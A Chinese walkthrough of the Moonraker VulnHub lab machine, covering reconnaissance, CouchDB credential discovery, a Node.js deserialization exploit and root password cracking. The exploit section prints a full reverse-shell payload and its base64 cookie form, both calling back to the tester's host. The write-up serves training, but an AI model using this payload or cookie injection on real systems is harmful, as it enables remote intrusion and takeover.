0x01 简介
攻击Moonraker系统并且找出存在最大的威胁漏洞,通过最大威胁漏洞攻击目标靶机系统并进行提权获取系统中root目录下的flag信息。
Moonraker: 1镜像下载地址:
 
0x02 信息搜集
1.获取目标ip地址,使用netdiscover或者arp-scan。
2.使用nmap进行端口和服务探测
在3000端口发现Node.js Express framework框架应用。
访问web服务,是一段视频
视频动画会持续10几秒,之后自动跳转至如下页面
点击blog进行一个展示界面,目前看来是没什么用
使用dirb 跑一下目录,发现http://192.168.190.136/services/index.html
在网站中发现一个链接
点击进入,一个售后服务的页面
Services Information Request
To provide "out of this world" service, a Sales rep will check your web-based inquiries in under 5 minutes!
服务信息请求
为了提供“完美售后”的服务,销售代表将在5分钟内检查您基于网络的查询!
尝试用<img>标签去查询表单
<img src="192.168.190.129/log.txt"></img>
提交完成
开启apache服务
root@kali:~# netstat -pantu | grep 80
tcp 0 0 127.0.0.1:80 0.0.0.0:* LISTEN 595/rinetd
root@kali:~# pkill rinetd
root@kali:~# service apache2 start
root@kali:~# cd /var/www/html
root@kali:/var/www/html# ls
file.csproj flag.php index.nginx-debian.html wpscan_6666 wso.php xxe.php
root@kali:/var/www/html# echo "test" > log.txt
root@kali:/var/www/html# ls -la log.txt
-rw-r--r-- 1 root root 5 9月 24 11:50 log.txt
 
测试apache服务是否正常
我们可以通过apache2 access.log可以查看到访问目标靶机网站日志记录。
192.168.190.136 - - [24/Sep/2019:11:54:51 -0400] "GET /log.txt HTTP/1.1" 200 287 "http://127.0.0.1/svc-inq/salesmoon-gui.php" "Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/534.34 (KHTML, like Gecko) PhantomJS/1.9.8 Safari/534.34"
我们可以从日志中发现http refefer地址:http://127.0.0.1/svc-inq/salesmoon-gui.php
 
 
点击左上角链接进入如下页面
 
打开CouchDB Notes在这个页面得到了关于用户的账号密码提示,这个对我们来说是很重要的。
username: jaws
password: 女朋友名字+x99的组合(我哪知道你女朋友是谁!!!)
搜索 Jaws' girlfriend,找到Jaws' Girlfriend :Dolly
现在已经获取到couchdb的用户名和密码,那么如何登陆呢
关于couchdb使用参考官方文档:http://docs.couchdb.org/en/stable/fauxton/install.html
Username: jaws
Password: dollyx99
登陆成功!
在links库里发现了一些信息
第二条信息
似乎没什么有用的信息
第三条记录
备份信息
在HUGO中我们发现了一些线索,提示我们通过浏览器访问3000端口的服务,并且提供了用户名密码
Username: hugo
Password:TempleLasersL2K
登陆成功
Welcome Boss Your manifesto has been recorded here for reference: /accounting/hugo-manif.mp3
欢迎您的老板您的宣言已在此处录制供参考:/accounting/hugo-manif.mp3
 
听一下宣言内容,纯英文,听不懂
 
第四条信息
显示数据已经被移动到更安全的区域
进入hugo's page moved to port 3k页面,可以看到服务运行在3000端口,使用的NodeJS框架。
0x04 漏洞利用
从前期信息收集知道3000端口跑的是Node.js框架,去搜索一下相关漏洞
发现Node.js框架存在一个反序列化漏洞,可以执行任意代码。
启动F12查看页面的请求信息。burp抓包在Cookie中看到了base64编码信息。
base64编码解码为用户名。
这里我们将以base64编码形式插入node.js来用其反序列化漏洞。
这个应用程序中的漏洞是它从HTTP请求中读取名为profile的cookie,对cookie值执行base64解码,并将其传递给unserialize()函数.由于cookie是不受信任的输入,攻击者可以制作恶意Cookie值从而来以利用此漏洞.
利用Node.js反序列化的漏洞执行远程代码参考:https://www.anquanke.com/post/id/85458
使用msfvenom生成nodejs反弹shell
msfvenom -p nodejs/shell_reverse_tcp LHOST=192.168.190.137 LPORT=1521
(function(){ var require = global.require || global.process.mainModule.constructor._load; if (!require) return; var cmd = (global.process.platform.match(/^win/i)) ? "cmd" : "/bin/sh"; var net = require("net"), cp = require("child_process"), util = require("util"), sh = cp.spawn(cmd, []); var client = this; var counter=0; function StagerRepeat(){ client.socket = net.connect(1521, "192.168.190.137", function() { client.socket.pipe(sh.stdin); if (typeof util.pump === "undefined") { sh.stdout.pipe(client.socket); sh.stderr.pipe(client.socket); } else { util.pump(sh.stdout, client.socket); util.pump(sh.stderr, client.socket); } }); socket.on("error", function(error) { counter++; if(counter<= 10){ setTimeout(function() { StagerRepeat();}, 5*1000); } else process.exit(); }); } StagerRepeat(); })();
 
{"rce":"_$$ND_FUNC$$_function (){ var require = global.require || global.process.mainModule.constructor._load; if (!require) return; var cmd = (global.process.platform.match(/^win/i)) ? \"cmd\" : \"/bin/sh\"; var net = require(\"net\"), cp = require(\"child_process\"), util = require(\"util\"), sh = cp.spawn(cmd, []); var client = this; var counter=0; function StagerRepeat(){ client.socket = net.connect(1521, \"192.168.190.137\", function() { client.socket.pipe(sh.stdin); if (typeof util.pump === \"undefined\") { sh.stdout.pipe(client.socket); sh.stderr.pipe(client.socket); } else { util.pump(sh.stdout, client.socket); util.pump(sh.stderr, client.socket); } }); socket.on(\"error\", function(error) { counter++; if(counter<= 10){ setTimeout(function() { StagerRepeat();}, 5*1000); } else process.exit(); }); } StagerRepeat(); }()"}
 
将以上payload做base64编码
eyJyY2UiOiJfJCRORF9GVU5DJCRfZnVuY3Rpb24gKCl7IHZhciByZXF1aXJlID0gZ2xvYmFsLnJlcXVpcmUgfHwgZ2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZDsgaWYgKCFyZXF1aXJlKSByZXR1cm47IHZhciBjbWQgPSAoZ2xvYmFsLnByb2Nlc3MucGxhdGZvcm0ubWF0Y2goL153aW4vaSkpID8gXCJjbWRcIiA6IFwiL2Jpbi9zaFwiOyB2YXIgbmV0ID0gcmVxdWlyZShcIm5ldFwiKSwgY3AgPSByZXF1aXJlKFwiY2hpbGRfcHJvY2Vzc1wiKSwgdXRpbCA9IHJlcXVpcmUoXCJ1dGlsXCIpLCBzaCA9IGNwLnNwYXduKGNtZCwgW10pOyB2YXIgY2xpZW50ID0gdGhpczsgdmFyIGNvdW50ZXI9MDsgZnVuY3Rpb24gU3RhZ2VyUmVwZWF0KCl7IGNsaWVudC5zb2NrZXQgPSBuZXQuY29ubmVjdCgxNTIxLCBcIjE5Mi4xNjguMTkwLjEzN1wiLCBmdW5jdGlvbigpIHsgY2xpZW50LnNvY2tldC5waXBlKHNoLnN0ZGluKTsgaWYgKHR5cGVvZiB1dGlsLnB1bXAgPT09IFwidW5kZWZpbmVkXCIpIHsgc2guc3Rkb3V0LnBpcGUoY2xpZW50LnNvY2tldCk7IHNoLnN0ZGVyci5waXBlKGNsaWVudC5zb2NrZXQpOyB9IGVsc2UgeyB1dGlsLnB1bXAoc2guc3Rkb3V0LCBjbGllbnQuc29ja2V0KTsgdXRpbC5wdW1wKHNoLnN0ZGVyciwgY2xpZW50LnNvY2tldCk7IH0gfSk7IHNvY2tldC5vbihcImVycm9yXCIsIGZ1bmN0aW9uKGVycm9yKSB7IGNvdW50ZXIrKzsgaWYoY291bnRlcjw9IDEwKXsgc2V0VGltZW91dChmdW5jdGlvbigpIHsgU3RhZ2VyUmVwZWF0KCk7fSwgNSoxMDAwKTsgfSBlbHNlIHByb2Nlc3MuZXhpdCgpOyB9KTsgfSBTdGFnZXJSZXBlYXQoKTsgfSgpIn0=
 
通过bupsuit抓包进行拦截,将整个base64字符串设置为cookie中profile的值,替换完profile值后进行提交,在者之前需要设置您的nc侦听。
nc 成功获得反弹shell
然后将nc的半shell转换为pty的交互shell
查看开放的端口,发现开启了邮件服务,
在/var/mail目录下存在邮件但是权限不足无法查看
在了解CouchDB的配置后,发现默认的安装目录为/opt/couchdb目录下,在配置文件中找到密码.
username: hugo
password: 321Blast0ff!!
切换hugo用户,查看家目录未发现什么,想到之前拒绝访问的邮件
在/var/mail目录下查看hugo邮件内容,root用户信息泄露
the new one is the same + "VR00M" without quotes 并且提示在root密码后加上VR00M
root:$6$auLf9y8f$qgi63MGYQGnnk6.6ktcZIMpROPMqMXMEM7JufH1aTIApIPIZZu7yRjfIcZ1pELNoeMM7sIwCrVmMCjNYJRRGf/:17809:0:99999:7:::
 
将root密码hash保存到root.hash,使用john破解hash
破解出密码哈希是cyber
Username: root
Password: cyber
新的登录密码为:cyberVR00M
root用户登录,获取到flag base64 解码 :was dolly wearing braces?
 
参考链接:
 
 
 

Moonraker 靶机渗透的更多相关文章

  1. 22. CTF综合靶机渗透(十五)

    靶机说明: Game of Thrones Hacking CTF This is a challenge-game to measure your hacking skills. Set in Ga ...

  2. 21. CTF综合靶机渗透(十四)

    靶机说明: I created this machine to help others learn some basic CTF hacking strategies and some tools. ...

  3. 18. CTF综合靶机渗透(十一)

    靶机描述: SkyDog Con CTF 2016 - Catch Me If You Can 难度:初学者/中级 说明:CTF是虚拟机,在虚拟箱中工作效果最好.下载OVA文件打开虚拟框,然后选择文件 ...

  4. 17. CTF综合靶机渗透(十)

    靶机描述:欢迎来到超级马里奥主机!这个虚拟机是对真实世界场景场景的模拟.目标是在VM中找到2个标志.根是不够的(对不起!)VM可以以多种方式开发,但请记住枚举是关键.挑战的程度是中等的.感谢VDBAN ...

  5. hacknos-player靶机渗透

    靶机下载地址https://www.vulnhub.com/entry/hacknos-player,459/ 网络配置 该靶机可能会存在无法自动分配IP的情况,所以无法扫描到的情况下需要手动配置获取 ...

  6. VulnHub CengBox2靶机渗透

    ​本文首发于微信公众号:VulnHub CengBox2靶机渗透,未经授权,禁止转载. 难度评级:☆☆☆☆官网地址:https://download.vulnhub.com/cengbox/CengB ...

  7. VulnHub PowerGrid 1.0.1靶机渗透

    ​本文首发于微信公众号:VulnHub PowerGrid 1.0.1靶机渗透,未经授权,禁止转载. 难度评级:☆☆☆☆☆官网地址:https://download.vulnhub.com/power ...

  8. DeRPnStiNK靶机渗透

    DeRPnStiNK靶机渗透 常规的信息搜集 扫到了phpmyadmin以及wordpress并在后台发现弱密码,即admin,admin 这里对wordpress进行了扫描: 扫描插件: searc ...

  9. BTRsys1~2系列靶机渗透

    BTRsys系列靶机渗透 BTRsys1 端口发现加目录扫描. 发现目录:http://192.168.114.161/login.php 尝试弱密码失败,查看源代码. <script type ...

随机推荐

  1. Java 学习笔记---Java double类型相加问题

    多个double类型的数直接相加的时候,可能存在精度误差.( 由于计算机算法以及硬件环境决定只能识别 0 1.计算机默认的计算结果在都在一个指定精度范围之内,想往深的了解,可以学习数值分析等) 在金融 ...

  2. SpringBoot:高并发下浏览量入库设计

    一.背景 文章浏览量统计,low的做法是:用户每次浏览,前端会发送一个GET请求获取一篇文章详情时,会把这篇文章的浏览量+1,存进数据库里. 1.1 这么做,有几个问题: 在GET请求的业务逻辑里进行 ...

  3. Redis学习总结(四)--Redis主从配置

    在分布式系统架构设计中高可用是必须考虑的因素之一.高可用通常是指,通过设计减少系统不能提供服务的时间.而单点是系统高可用的最大的败笔,如果单点出现问题的话,那么整个服务就不能使用了,所以应该尽量在系统 ...

  4. python 31 升级版解决粘包现象

    目录 1. recv 工作原理 2.升级版解决粘包问题 3. 基于UDP协议的socket通信 1. recv 工作原理 1.能够接收来自socket缓冲区的字节数据: 2.当缓冲区没有数据可以读取时 ...

  5. ionic app 监听网络功能

    安装cordova插件: cordova plugin add cordova-plugin-network-information 在app.js 的run()里面的function()注入$cor ...

  6. 【解决】TLS/SSLError问题导致无法使用pip或conda安装软件包

    Copy these files from the ./Library/bin to ./DLLs/ :libcrypto-1_1-x64.*libssl-1_1-x64.* 解决 欢迎关注↓↓↓ 头 ...

  7. antd模糊搜索和远程数据的结合

    //用到此方法的情景  先根据input框中的姓名模糊搜索出客户名称,当选中客户名称之后,获取ID ,根据客户的ID,去搜索数据列表. 防抖方法 let timeout; let currentVal ...

  8. HTML 参考手册(摘自菜鸟教程)

    标签 描述 基础   <!DOCTYPE>  定义文档类型. <html> 定义一个 HTML 文档 <title> 为文档定义一个标题 <body> ...

  9. 深度好文,springboot启动原理详细分析

    我们开发任何一个Spring Boot项目,都会用到如下的启动类 1 @SpringBootApplication 2 public class Application { 3 public stat ...

  10. 洛谷 P1514 【引水入城】

    题库 :洛谷 题号 :1514 题目 :引水入城 link :https://www.luogu.org/problemnew/show/P1514 思路 :搜索从第一排开始能覆盖最后一排的区间L ~ ...